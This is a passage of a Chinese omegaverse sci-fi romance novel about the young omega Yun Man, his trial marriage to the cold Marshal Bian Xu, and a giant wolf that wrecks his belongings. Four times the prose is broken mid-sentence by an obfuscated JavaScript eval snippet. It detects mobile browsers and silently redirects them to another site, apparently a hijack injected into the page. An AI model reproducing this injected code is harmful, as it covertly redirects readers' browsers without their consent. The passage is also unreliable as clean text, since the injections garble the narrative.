顺便还仗着优于omega的动态视力,飞速地把营养剂封口掰开,直接倒进了三明治里。 毕竟对于alpha的消耗来讲,一个三明治充其量只能算作是开胃。 ……虽然这东西很难让人开胃就是了。 云满见他吃完了,也连忙咽下去,追问道:“您对早饭满意吗?” 边叙:“……” 他并不是很想回答,可是与omega对视两秒,还是妥协:“满意。” 云满松了口气,小小声说:“那我就当您对这次匹配也很满意了哦。” 他在心里更小声加了一句:那在你的精神海治疗结束前,我就是你的妻子了哦。 边叙:“……” 他听到了。 沉默两秒,他起身离开,最后丢下一句话:“你现在走,还来得及。” 他早习惯了孤身一人,更何况眼前omega甚至年幼到连匹配背后隐含的意义都不明白。 云满被这话砸得懵了一两秒,但很快又反应过来,意识到元帅要出门了,赶忙追过去,发现对方居然已经披上了大衣,准备走了。 他脚步一顿,不可置信地停在原地。 按照协会的教导,优秀的妻子应当给出门工作的丈夫打领带才对!(虽然现在推崇实用主义的alpha们基本都不用领带这东西了) 而合格的丈夫也应该等待妻子给他打领带! 云满又委屈又愤怒,昂起头去看元帅,然后…… 敢怒不敢言。 边叙看着突然追出来,又突然鼓起脸,最后又莫名其妙泄了气的小omega:“?” 云满低着头,用脚尖在地上划圈圈,不太高兴,但又不敢直说,思来想去尝试向元帅讨要补偿:“可那样的话,就只有我一个人在家了……” ……那不然呢。 边叙嘴唇微微动了下,但看看omega的眼睛,还是把话咽了下去,保持沉默。 云满见元帅没说什么,小小松了口气,抬起头,期盼地望过去,“那我可以找人来装饰一下我的卧室吗?” 边叙:“……” 那是他的卧室。 ……算了。 边叙只觉得头痛,不知为何,从昨晚见面开始,这个omega似乎变得格外难缠。 ……难道是因为自己让他哭了五天吗? 这个猜想让向来被认为是“冷淡寡情”的元帅都禁不住心虚,他抿了下唇,目光状似无意般,轻轻扫过那双眼。 亮晶晶、圆溜溜的。 像是他之前在边星战场上捡到过的某种宝石。 他收回目光,没再说什么,点了下头,言简意赅道:“随你。” 云满眼睛亮了。 边叙觉得有些不对,但没太在意,转身离开。 但奇怪的是,云满明明害怕,却没离开,反而跟在他身边,像个小尾巴似的转来转去。 他压沉了眉眼,加快步子。 要是云满也想跟着去军部…… 他果断否决了这个太过荒谬的想法。 怎么可能带omega去。 云满对边叙复杂的心理一无所知,专心致志地追着元帅,还有点小小的苦恼——合格的妻子应当送丈夫去上班并给予鼓励,但是,丈夫应该等妻子吗? 毕竟上班迟到也是件大事…… 他纠结了一路,暗暗下定决心等哪天回去要问问老师,浑然没有发觉边叙的眉头正越皱越紧。 步子越来越快,很快就将云满甩开了一大截。 远离了omega,他终于没那么难受了,三步并作两步上了飞行器,低头正要看看副官给自己新发了什么东西,眼角余光却忽然注意到一点不同寻常的颜色。 飞行器缓缓腾空,掠过花坛,而盛开的玫瑰旁,omega气喘吁吁,伸手撩起散落在颊边的散发。 似乎是感觉到了什么,他抬起头来,最开始目光还漫无目的,可很快就锁定了那扇不曾落下的窗。 然后,冲他露出了一个软乎乎的笑。 ……笑什么。 边叙眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032409|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头皱得更紧了,他努力忽略心里那股奇怪的感觉,低头划开光脑。 送走自己的“丈夫”后,云满对自己今日的表现十分满意,觉得如果老师在的话肯定会给他打满分,遂奖励自己上床睡了个回笼觉,等到十一点才慢吞吞爬起来。 他其实不喜欢做饭。在协会时又有统一的食堂,而现在,没人能管他了。 在午餐机上连选八道菜,他才意犹未尽地停下来,绕着午餐机转了好几圈,等了快半个小时,又奋战了二十分钟,吃撑了。 他抱着小羊瘫在沙发上,懒懒散散地滚了几圈,就在他昏昏欲睡时,门忽然一响。 他还以为是协会的人来帮他了,踢了下小腿,努力想要跟困意抗争。 “下午好……唔,不好意思,我差点睡着,等我清醒一下……” 他摇摇晃晃抱着小羊坐起来,困倦地打了个哈欠,又突然想起什么,闭着眼继续说:“我的行礼放在二楼就好,我之后自己收拾……对了,能不能帮我在花园里种一些花?” ——在元帅准许前,云满只敢奢求小小布置一下自己房间。 可是,元帅居然说了“随意”两个字! 云满膨胀了,他看着冷冰冰硬邦邦的房子,觉得哪里都嫌弃。 就算、就算元帅不喜欢,那等他回协会之后自己拆掉就好了吧! 云满颇为心虚地诡辩,最终很顺利地说服了自己,决定浅浅改造一下元帅的家。 他很礼貌地提出了自己的想法,可周身却一片安静。 门被无声无息地关上,连脚步声都不曾出现,耳畔唯有自己的呼吸声。 ……总不能是元帅回来了吧? 云满终于察觉到有哪里不太对劲了,他下意识抓紧了怀里的小羊,不太敢直面恐惧,思考了一两秒,小心翼翼地将小羊举起来,遮住自己大半张脸,悄咪咪睁开眼—— 他看到了一道银灰色的流光,速度极快,眨眼间便从门边到了沙发旁,庞大的阴影笼罩他,眼前瞬间暗下来。 太突然了。 云满大脑一片空白,抱着小羊,呆呆愣愣地仰起头,然后,脸颊就被舔了一下。 湿湿的,还有点刺刺的。 云满下意识抬手摸了下脸,只是指尖还没来得及碰到,就又被舔了一口。 ……什么东西。 啊啊啊什么东西!! 云满眼前一黑,手软脚软,本能地把小羊甩出去,徒劳无功地想要攻击一下对方,却奈何“敌人”一个甩头,大嘴一张,直接把小羊吞进了嘴里。 那可是哥哥送他的小羊!!! 眼见着小羊惨死,云满心中爆发出一股前所未有的勇气,支棱起来就要去反抗,但奈何沙发被他铺得太软,毯子又太多太乱,还没来得及站起来,就先左脚绊右脚,咚一声往前扑过去。 “!!!” 他惊慌地扑腾了两下,却无济于事,只能紧紧闭上眼,祈祷着不要摔得太疼。 但预料中的疼痛却并没有到来,相反,他落进了一片温热的柔软中。 而且,还毛绒绒的。 鼻尖萦绕着某种冷冽的气息,像是雪,可又不单单是雪,云满描述不出来,他第一次觉得自己的想象力如此匮乏。 但是,好香。 他有点上头,将脸深深埋进去又吸了两口,十指都舒服地张开,无意识地抓了两把旁边的毛毛,手感很好,于是又忍不住抓了好几下。 直到指尖又被舔了一口。 云满惊醒回神,猛地转头,便对上了一双灰蓝色的狼眸。 12. 小房子全身变! 云满终于看清了眼前的……狼? 他有点不太确定。 当初人类几乎是一无所有地狼狈逃出母星,一路流浪,最终艰难地在这个星系落脚,一点点建设新家园。 后来强盛起来的人类也尝试过找回母星,却奈何母星早已被虫族肆虐,仅留断壁残垣,废墟一片,古代流传下来的那些母星上的生灵,也只能成为传说。 再后来,研究院根据军部寻回的部分基因库,一点点尝试将曾经的邻居重新带回人类身旁,只可惜进展缓慢。 云满曾经去过研究院,亲眼见过那些神奇而美丽的生灵,只是这么近距离的接触还是第一次。 到底是什么? 他谨慎地盯着那双灰蓝色的眼,却发现眼前狼实在是大得离谱,就算他后退了好几步,仰着脖子,也无法看到对方的全貌,只能看到长长的狼吻,猩红的舌头,还有一口森白的牙。 ……看起来好尖好吓人。 被咬一口会痛很久的样子。 云满怂怂地移开视线,催眠自己只要看不到就不会被咬。 他努力忽视脸颊上湿润而温热的奇怪感觉,又恋恋不舍地把手从触感极佳的厚厚毛发上移开,小心翼翼拿出光脑,对着狼扫描。 光脑开始飞速运转,无数蓝光从屏幕上闪过,云满紧张地盯着,怀里却忽然拱进来一只大脑袋。 准确来说,是一小半。 它犹嫌不够,还想继续往云满怀里挤,却没意识到自己的体型实在太大,眼前香香的omega又实在是太小,还没等用力,就直接将人拱翻了。 突然被拱倒的云满:“???” 还好沙发附近都被他铺上了厚厚的地毯,疼倒是不疼,就是有点突然。 但他看看明显愣在原地,有点茫然地抬起一只爪子的狼,再看看对方尖尖的牙。 他敢怒不敢言,干脆就地躺下,伸手想捞过光脑,却眼睁睁看着狼露出某种名为“恍然大悟”的表情,然后心安理得地走过来,把整个脑袋都搁在他胸口上。 被压得差点背过气去的云满:“???” 干什么干什么! 兔子急了还会咬人呢!! 但云满回想了一下那狼牙,忍了。 他被压得动弹不得,干脆也不动了,只歪了下脑袋,想去看刚才动作中被甩到一旁的光脑。 正巧这时,光脑“滴”一声搜索结束,他满怀期待地看过去,却发现光脑上居然是满屏的问号。 云满脑袋上也要挂满问号了,他甚至都没顾上狼脑袋还压在自己胸口,挣扎着伸手去拿光脑。 他的动作终于引起狼的注意了,它抬起脑袋,用那双灰蓝色的眼睛静静盯了云满片刻,终于明白了对方想要什么。 于是狼很矜持地抬起步子,优雅地甩了下尾巴,低头叼起光脑,却在抬起脑袋的瞬间,听到了清脆而刺耳的一声“咔嚓——” 狼身子一僵,连尾巴都停住了。 云满惊恐地睁大眼,眼睁睁地看着陪伴他快三年的光脑在转瞬间葬身狼嘴! 狼只僵硬了短短两秒,而后目不斜视地跳下去,松开嘴,若无其事地将光脑推进沙发底下。 云满看着狼在自己面前毁尸灭迹一条龙,只觉得眼前一黑,他抱着从狼嘴里抢救出来的小羊,在狼重新凑过来时惊恐地往后退了退,却发现背后就是沙发,退无可退。 他绝望地举起小羊,抵在狼嘴上,努力想要推开狼。 但狼只是略感疑惑地歪了下脑袋。 它能感受到眼前人的力度,只是那力度实在太微弱。 精神海的风暴时时刻刻席卷它,在长久的对抗中,它早已摈弃理智,只依靠本能行事。 而直觉让它贪恋,让它想要靠近。 于是它理所当然地忽视了眼前人抗拒它的事实,理直气壮地蹭过去,咬住碍事的羊,一甩头便把小羊抛到角落里。 这只小羊还是云满十八岁生日那天,云景怀给他送的生日礼物之一,自发热,有很多交互设置,还软乎乎的,手感非常好,他自从收到这份礼物之后就一直很珍惜,整天抱在怀里。 而现在,小羊被甩到角落里,还弹了两下才落地! 这还是小羊第一次被这样对待! 云满愤怒了,他想要为小羊抗争,却还没来得及坐起身,就被沉重的大脑袋满满地压下来,整个人都动不了了! 他挣扎着想要反抗,结果左手刚抬起来,就被舔了一口。 他愣了一下,将左手警惕地藏进身后,又尝试去抬右手。 结果又被舔了一口。 云满默默将两只手都藏到身后,在心里对小羊说了声抱歉,绝望地躺平任舔了。 …… 不知为何,这一日,在军部时,边叙总觉得心中不宁。 他推开桌子上不知被谁丢过来的、按理来讲完全不应该由他负责的公文,第十八次打开购物软件,浏览全屋监控器。 然后再皱着眉,第十九次关闭了商品主页。 不行,如果只有他一人还行,可现在还多了个omega。 边叙有些头痛,他按了按太阳穴,看了眼时间。 下午五点。 只花了短短两秒时间,向来一丝不苟的元帅就决定提前下班回家。 副官正忙得脚不沾地,一抬头却发现自家元帅正路过,军装一丝不苟,神色坦然冷淡,活像是临时去隔壁第二军团办事似的。 如果元帅的方向不是径直走向停车场,那就更完美了。 他简直是大跌眼镜,伸手就去扯身旁人,“左少将,你看,那是咱元帅吗——我认错了?难道是第三军团那位吗?” 第三军团那位,军校时期就桀骜不驯,全身反骨都用来跟教官作对,后来匹配到omega也没收敛,还放话说绝对不可能听协会的安排。 结果刚见了omega就变身成狗,又被教育了一顿,从此开始勤勤恳恳上班,开开心心下班,连上战场都恨不得开二倍速,好让他尽快回家。 副官十分怀疑,自家元帅要走那位的老路了。 左少将看他一眼,没吭声。 “不是……我也没听说小殿下同意试婚了啊?”副官摸着脑袋迷惑,“怎么元帅跟家里有人等他似的?” 家里有没有人等他,元帅是不清楚的。 但他此时此刻非常清楚一件事,那就是——千万不能随意同意omega的请求。 军装笔挺的alpha站在自己“家”门口,面无表情地盯着旷野上突兀出现的、毛绒绒的兔耳朵大门。 他十分怀疑是自己记错了家门的位置,但是再三确认后,他不得不承认,这确实是自己上午离开前还十分正常的“家”。 边叙站在原地沉思了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032410|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一两秒,绷紧了下颌线,以一种面对虫族时都不会有的谨慎态度,慢慢走进去。 于是,他很快发现,兔耳朵门只是个开胃菜。 在一路经过彩虹喷泉、小羊转转车、葡萄秋千、猫猫草坪后,边叙终于艰难地来到了自家门口。 他竟难得生出些踟蹰之意,生怕一打开,就看到什么难以接受的东西。 但退缩向来不是他的风格。 边叙压了下军帽檐,而后推门—— 最先嗅到的,是厨房里溢出来的、热腾腾的饭香。 边叙怔了下。 似是听到了动静,厨房里的小omega探出头来,看到是他,顿时露出一个柔软的笑来。 “您回来啦。” 那种奇怪的感觉,又来了。 边叙面无表情地按了下胸口,确定自己并没有出什么毛病,这才边脱外套,边往楼上房间走。 一路上,除了沙发上多了几层毯子,窗台多了个摇椅,各种家具上都摆了些可爱风的装饰品外,并没有任何变化。 比他进来前想象的好多了。 久经沙场的元帅,此刻竟难得松了口气,有种劫后余生感。 他放松了警惕,推开客卧门——准确来讲是他的新卧室。 然后就被堆了满床、挂了满墙的毛绒玩具震撼得短暂失去语言能力。 不远处,云满鬼鬼祟祟趴在走廊拐角处,探头探脑想要看元帅的反应。 见对方停在原地,他有点忐忑地捏了捏手指。 边叙眼角余光早将omega的所有动作都看在眼里,他沉默了一两秒,还是举步走进去。 很快,门后又冒出了一颗小脑袋,还自以为藏得很好,殊不知呆毛都露出来了。 边叙不动声色地走到床边,随手拿起了一个胸口绣了星星的粉色兔子,看了两眼。 眼睛水汪汪的,让他想起云满。 耳畔传来被刻意放轻的脚步声,边叙没动。 “这是两年前的人类新生日限定版秋秋兔,整个帝星只发售了几百只,我当时起了好早才买到的。” 边叙侧目看向他,问:“很多omega喜欢吗?” 云满点点头,又摇摇头,“也有很多beta喜欢的,当时甚至还有alpha在排队呢。” 边叙不怎么感兴趣,他把粉兔子放回去,随口问:“那omega也需要排队吗?” 云满愣了一下,旋即认认真真回答道:“当然呀,毕竟如果协会出面,那本来可以买到秋秋兔的其他人,就要买不到了。” 边叙有些意外地看了云满一眼,问:“那如果你没抢到呢?” 会哭吗? “那就从别人手里高价收!” 提起这个领域,云满眼睛亮晶晶的,整个人都快乐起来了。 目前还可以称得上是“贫困”的边叙:“……” 哦,是他忘了,眼前这位可是皇帝唯一的弟弟。 素来没什么物欲的边叙,竟难得感受到了几分捉襟见肘。 云满介绍完秋秋兔,终于想起自己跟过来的目的了,犹豫两三秒,见元帅一切反应都正常,放了点心,抬起头期待问:“那,您喜欢我布置的房间吗?” ——那怎么可能? 边叙与那双圆圆的眼睛对视着,薄唇微微动了一下。 “……嗯。” 13. 限定小熊 得到肯定回答的omega,肉眼可见地快乐起来了。 云满原地思考了半秒,立刻转身跑出去,不过三秒时间,又抱着三只小兔两只小熊跑回来。 “那您看这些呢?” 他热情地向元帅展示自己的收藏。 没想到元帅不仅跟他口味相同,竟连审美都这样相似! 要知道,就连协会浮空岛上跟他一起长大的那些omega,都没几个人喜欢这些玩偶。 甚至还有omega嘲笑他幼稚! 哼,要是他们知道,帝国元帅也喜欢这种可爱的东西,肯定会超级惊讶! 说起来,如果元帅也是omega的话,那他们一定会成为很好很好、形影不离的朋友的。 云满想到此处,不免有些遗憾。 等他回协会了,是不是就再也见不到元帅了? 那元帅是不是也再吃不到云间餐厅的美食,也没办法抱着这么多玩偶睡觉了? ……这么一想,真的好惨哦。 云满此刻,对眼前的alpha生出了无限的怜惜之心,并盯着自己怀里的玩偶们思考两秒,很快做出决断—— 等元帅恢复健康,他离开这里回协会时,就忍痛割爱,将这些自己花了大力气才买回来的玩偶们都留给元帅。 至于以后,等他再去买新品的时候,就买双份,拜托协会的工作人员送到军部或者前线,或者拜托自己下一个匹配到的alpha…… 唔,那个alpha应该不会介意吧? 毕竟大家都知道元帅不喜欢omega,他再解释一下跟元帅只是朋友……诶,说起来,他们现在算是朋友了吗? 云满有点不太确定,仰起头眼巴巴地看着元帅,又不太敢问。 边叙却完全没接收到omega发出的“交友”信号。 他还以为对方是在等着自己收下礼物,只沉默了两秒,伸手依次接过穿着制服的蓝白小兔子、戴着小礼帽折着耳朵的粉紫小兔子、侧脸绣着星星的黑粉小兔子…… 到最后,他拿着那两只看上去一模一样的小熊,再三确认后,忍不住问:“同样的熊,为什么要买两个?” 云满踮起脚尖,探过脑袋来看了看。 柔软的发丝蹭过指尖,边叙下意识后退了一步,抿紧唇。 云满对此一无所觉,盯着小熊看了两秒,有点舍不得,慢吞吞解释道:“虽然是同一款,但还是有细微的不同,一只眼睛旁边有一簇毛毛是灰色的,另一只是棕色的,毕竟是手工制品嘛。” 边叙:“……?” 他低头看了两秒,没看出来,并觉得以云满的天赋,很适合去军部当侦察兵。 云满想了下,又补充道:“还有一点性格上的细微的差别,今天晚上你就知道啦。” 边叙:“……?” 这东西还有性格? 说到这里,云满更舍不得了。 这可是他最喜欢的陪睡小玩偶。 但边叙对此一无所知,且并没有放在心上。 直到当天晚上十一点,他处理完副官发过来的邮件,合衣上床,刚闭上眼,身侧忽然传来一声很细微的动静。 他在瞬间警惕睁眼,反手拎起放在床头的刀横劈过去。 “刺啦”一声,正伸着爪子想要拥抱主人并提供哄睡服务的大熊分崩离析,雪白的棉花溢出来,落了满床。 猝不及防被棉花扑了一脸的边叙:“……?” 什么东西。 他沉默地盯着四分五裂的熊,丢掉刀,转身拿起另一只还没来得及变身的小熊。 小熊被他单手抓着,似乎很恐惧般,微微发着抖。 他面无表情地将熊翻过来,很快便找到一个隐蔽的功能键,按下去后,只听与方才同样的一声响,而后小熊飞速变大,最终变成了一个与他体型差不多的大熊。 大熊颤颤巍巍地伸手,按着前任小主人设置的程序,硬着头皮试图去抱眼前的杀神,那双豆豆眼里满是恐惧,边叙甚至错觉自己看到了水光。 他看看快哭了的大熊,再看看地上那只裂开的大熊,又想想隔壁安然入睡的云满,竟觉得完全不意外。 没去管那只还在做心理斗争,纠结要不要来哄人睡觉的熊,边叙直接下床坐到桌前,打开光脑搜索怪熊。 ……很好,一年前的摇篮节限定版哄睡小熊。 发售仅109只,至于市价…… 他打开余额看了一眼,冷静地关上光脑。 又在三分钟后打开光脑,飞速给那熊拍了张照,发给副官,并将自己的大半余额都转过去,言简意赅:【明晚前送过来一只,要一模一样的。】 且不论大半夜突然被特殊消息提示声惊醒的副官现在有多茫然多迷惑,边叙在月光寥落的窗边坐了片刻,看着那两只熊,心情实在是称不上美妙。 他在原地沉思了两三分钟,果断起身,悄无声息地披上外套锁了门,去了军部。 - 第二日清晨七点十五,闹钟准时响起。 云满顽强地与赖床的欲望做对抗,最终成功战胜懒惰,困倦地爬起来,摇摇晃晃进了浴室开始洗漱。 十分钟后,他痛苦地推开门走向厨房,第一次对老师产生了深深的怀疑——难道匹配给alpha后,就要每天都早起做饭吗? 光是想一想,云满就觉得自己要不行了。 要不还是尽快给元帅治好病,然后回浮空岛去……话说,他已经治疗过一个alpha的话,应该不用再次进入匹配系统了吧? 他反悔了,他一点都不喜欢试婚。 云满忧心忡忡地打开早餐机,花了五分钟时间挑好饭菜,又花了三秒钟时间调整调料用量。 同时还心不在焉地思考着,如果下一位alpha症状不严重的话,就直接签供养条例好了。 虽然试婚后,协会各方面的限制都会减少,但还是在浮空岛的时候过得舒服…… 唉。 云满恹恹地想着,抱着膝盖蹲坐在厨房角落里,打起瞌睡。 十分钟后,早餐机“滴”一声运行完毕。 云满猛地被惊醒,下意识抬起头左右看了看,发现一切正常,才后知后觉意识到,自己居然坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032411|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里睡着了。 长这么大,还是第一次这么凄惨。 他忧愁地叹了口气。 更难受了。 云满原地休息了片刻,很快就哄好了自己,很坚强地爬起来,将早餐摆好盘端出去,放在餐桌上,又摆好碗筷。 他坐在椅子上等了快五分钟,周围依旧安安静静的。 奇怪。 按照协会的教导,在役的alpha们都应该保持着严格的作息,六点起床训练,七点半吃饭,八点去军部才对。 难道是元帅今天起迟了吗? 一想到这种可能,云满觉得自己悟了。 所以,果然没有人能拒绝陪睡小熊! 但是迟到可不行……要不要去叫醒元帅呢? 云满又有点苦恼了,下意识想点开光脑看看时间,却突然想起,自己的光脑昨天已经牺牲了! ——事实上,昨天他放弃抵抗后,发现狼似乎并没有伤害他的想法,只是莫名其妙地很喜欢在他身上乱蹭乱舔而已。 而沙发太软乎,狼毛虽然硬硬的,但是手感却又很好,狼还暖呼呼的,云满揉着揉着便失去意识,美美睡了一觉,再醒来时,就发现狼已经不见了。 小羊也重新躺在了它身边,至于沙发下的光脑,则是彻底消失了。 云满几乎要以为那只狼的出现是自己的错觉。 就在他怀疑自己之时,协会的工作人员适时到来,他便把疑惑抛之脑后。 工作人员根据他的要求,对元帅府邸进行了部分改造。 他跟着跑上跑下,忙得不亦乐乎,直到天色渐晚,才想起自己应该去做晚饭了。 再之后又一直在忐忑,担心元帅会不喜欢改造后的房间,但还好元帅跟他审美类似。 一直到现在。 他终于意识到,自己光脑没了。 找元帅要吗……虽然那只狼有可能是元帅养的宠物,但也确实是他自己没有保管好光脑。 云满有点犹豫。 他在客厅转了一大圈儿,确定并没有任何能让他联系到外界的产品。 ……那没办法了tut。 云满怂怂地上楼,在元帅卧室门前转了好几圈,才终于做好心理建设,鼓起勇气敲了下门。 门内一点反应都没有。 好像有点不对劲。 云满皱起眉尖,又敲了两下,卧室里依旧安安静静的。 瞬间,无数恐怖的猜想闪过脑海,比如说什么大半夜突然精神暴动死掉了,或者旧伤复发死掉了,又或者是信息素突发性紊乱死掉了,甚至还有大熊抱得太紧以至于被闷死了。 一时间,云满的指尖都凉下来了,他不敢深想,非常痛恨自己睡觉太沉太香,居然完全没有听到隔壁卧室的动静! 他几近惊慌地按下指纹解锁,压下门把推开门,同时还不忘很礼貌地喊了一声:“那我进来……了?” 最后一声彻底停在嘴边,说不出来了。 云满呆呆地站在原地,看着床上四分五裂的两只大熊尸体,以及乱七八糟飞了满屋的棉花,整个人都傻掉了。 14. 狼耳朵 过了好久,也或许只是一瞬间,云满才终于回过神来,他茫然地走过去,低头伸手捧起一捧棉花。 棉花松软,上面还带着他熟悉的味道。 ……是他的小熊。 “啪嗒。” 眼泪坠在了掌心,热热的。 云满眼泪汪汪地看着床上四分五裂的两只小熊尸体,感觉整个人都要灰暗了。 怎么回事……明明昨天还好好的。 难道是元帅不喜欢它们吗? 那为什么还要收下它们。 还是说,元帅其实很讨厌他,所以连带着他送的礼物都一起讨厌了? 云满想不通,他抱着碎落的小熊吧嗒吧嗒掉眼泪,还不敢把眼泪滴到元帅床上,一边擦一边哭,看起来又狼狈又可怜。 直到窗边忽然传来一声轻响。 他下意识看过去,就又一次对上了那双森蓝色的狼眸。 “!” 这可是三楼! 云满被吓了一跳,一时间连伤心都忘记了,在原地犹豫了两三秒。 那双狼眸依旧盯着他,粉色的肉垫扣在窗户上,又叩了两下,像是无声的催促。 云满不敢再等,连忙走过去,跟狼对视两秒。 并十分迅速地给窗户落了锁。 狼:“……?” 云满锁了窗户,还认真地晃了两下,确定锁得很完美,一动都不动后,松了口气,伸手拉上窗帘,将狼彻底挡在外面,这才重新抱着小熊坐回床上,继续掉眼泪。 但眼泪才掉了两三滴,耳边忽然传来一声“咔嚓”的清脆巨响,他下意识转头,就眼睁睁看着一只大狼破窗而入,玻璃碎片在清晨的阳光下反射出漂亮而璀璨的光。 云满整个人都呆住了,他懵懵地坐在原地,仰起头看着大狼身手矫健地闯进来,又站在窗边甩了甩蓬松柔顺的毛,随后矜持地踏过一地的玻璃碎片,走到他面前来。 狼正要熟练地伸出舌头舔.舔眼前香香的omega,却忽然嗅到了什么,动作一顿,缓缓低头,盯住了云满怀里的小熊遗骸。 云满心中骤然涌起一股不祥的预感,他下意识地抱紧了小熊,却还是被狼轻而易举地伸出一只爪子推倒,按在床上,咬住云满怀里的熊,用力甩了一下。 云满当然不可能放手,更加用力地抱紧,同时手脚并用浑身发力,努力想要推开那颗硕大的狼头,救下小熊。 一人一狼对峙片刻,谁都不愿意放弃,这时忽然听得“刺啦”一声,云满愣住,颤颤巍巍地低头,眼睁睁看着本就凄惨的小熊彻底碎成了一片一片的。 棉花轻飘飘从指间滑下去,连带着云满的心一起啪叽摔在地上碎成八片。 他盯着怀里残存的小熊碎片,再转头看看床上的小熊尸体,在大彻大悟明白凶手究竟是谁后,忍不住悲从中来,努力凶狠地盯住大狼,尝试恐吓对方。 狼歪着脑袋盯着眼前眼泪汪汪的omega,狼眸凝在那长长眼睫上要掉不掉的圆润泪珠,没忍住凑过去,舔走了眼泪。 咸咸的。 但又不是血。 狼没尝过这种东西,有点疑惑地看了云满两秒,绕着他转了一圈儿,确认眼前的omega并没有受伤后,便安心地趴在云满身边,开始认认真真给云满舔舐眼泪。 云满:“……” 他要哭不下去了。 狼不能,至少不应该这么变态。 他脑子乱乱的,伸手想推开狼脑袋,可想哭的劲一过去,就连带着勇气也一起消失了。 他悄悄瞟了一眼狼牙,发现一如既往的森白锋利,便安详地躺平了。 甚至还出于报复心,恶狠狠地用力揉了两把狼毛。 硬硬的,一点都没有他的小熊好摸。 呜呜。 云满一边嫌弃一边摸,鼻尖萦绕着那种雪般清冽的气息,让他不由自主凑近了些,连害怕都忘记了。 狼认认真真把眼泪舔干净后,发觉omega整个人都埋在了自己毛毛里,便也交叠着爪子趴在原地,由着云满拱来拱去。 云满拱了一会儿,拱累了,正想揪着狼毛睡一觉,却忽然意识到自己方才都在做些什么,顿时惊恐地睁大眼,只觉得眼前这狼一定是给自己下了迷魂药! 他想控诉,但狼又听不懂人话,只察觉到omega似乎想要后退,于是主动站起身,用湿润的鼻尖蹭了云满两下,便转身轻巧地从已经彻底报废的窗户那里跳出去。 云满还是第一次看到狼离开,一时间有点新奇,想走到窗边看看,但想想三楼的高度,还是怂了。 他正犹豫着,却见狼不知又从何处冒了出来,重新跳进来,走到他身边,而后低头轻轻放下了一个东西。 云满有点疑惑,但不太敢靠近狼嘴。 狼便主动伸出一只爪子,将那东西朝着云满的方向推了推。 云满这才大着胆子看过去,很意外地发现,那居然是一个崭新的、还未拆封的光脑。 一时间,他脑袋上都要挂满问号了,很茫然地抬头看看狼,再低头看看那光脑,再一次确信那是光脑,而非某种外观与光脑类似的食物。 云满更茫然了,他试探性地指了指光脑,又指了指自己,问:“……送给我的?” 狼说不了话,只能将光脑更往云满的方向推了推。 云满太意外了,他茫然地拿起光脑,有点犹豫地问:“你从哪里拿来的……?” 其实更想问的是,你究竟从哪里偷来的tut。 但毕竟是给自己偷的,这么问似乎又不太好…… 狼只是用那双灰蓝色的眼静静看着他。 但没办法,云满实在是拒绝不了这份礼物。 不然他就只能等不知道什么时候来检查的协会工作人员,或者他忙碌至极的哥哥突然发觉弟弟失联了。 只能暂时收下,然后让哥哥送个同款过来,拜托狼还给原主人。 狼……应该会还的吧? 云满更不确定了,他打开光脑,录入数据时,脸颊忽然又被轻轻舔了一口。 现在他对于狼的舔舐已经可以完全没有心理负担地接受了。 所以,他完全没有分出注意给狼,只全神贯注地盯着正从云端传输数据的光脑。 屏幕亮起的瞬间,许多条消息跳了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032412|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云满匆匆看了眼,没什么需要急着回复的信息,才终于松了口气,转头。 狼依旧安安静静蹲坐在原地,让云满想起皇宫前的警卫犬。 再想想手里大狼塞给他的“赃款”,一时间云满只觉得看它都亲近了许多,他顿了下,试探性问:“你是不喜欢小熊吗?” 所以才偷偷摸进来,把他的两只小熊都咬死了…… QAQ。 但是,如果是这样的话,元帅又去了哪里呢? 是昨晚就离开了,还是今天早上离开的? 云满觉得脑子乱乱的,想不清楚,他抱着光脑往后缩了缩。 狼见状,抬起爪子往前走了一步。 并且因为爪子太大,一步顶云满两三步,直接把原本还算安全的距离缩到几近于无。 ……呜。 云满莫名觉得眼前场景有几分熟悉,但他没多想,又问:“你是从哪里来的?你是元帅的宠物吗?” 话刚出口,云满就意识到自己白问了——人类对于曾经母星生灵的了解实在太少了,目前还并不能掌握与动物交流的方法。 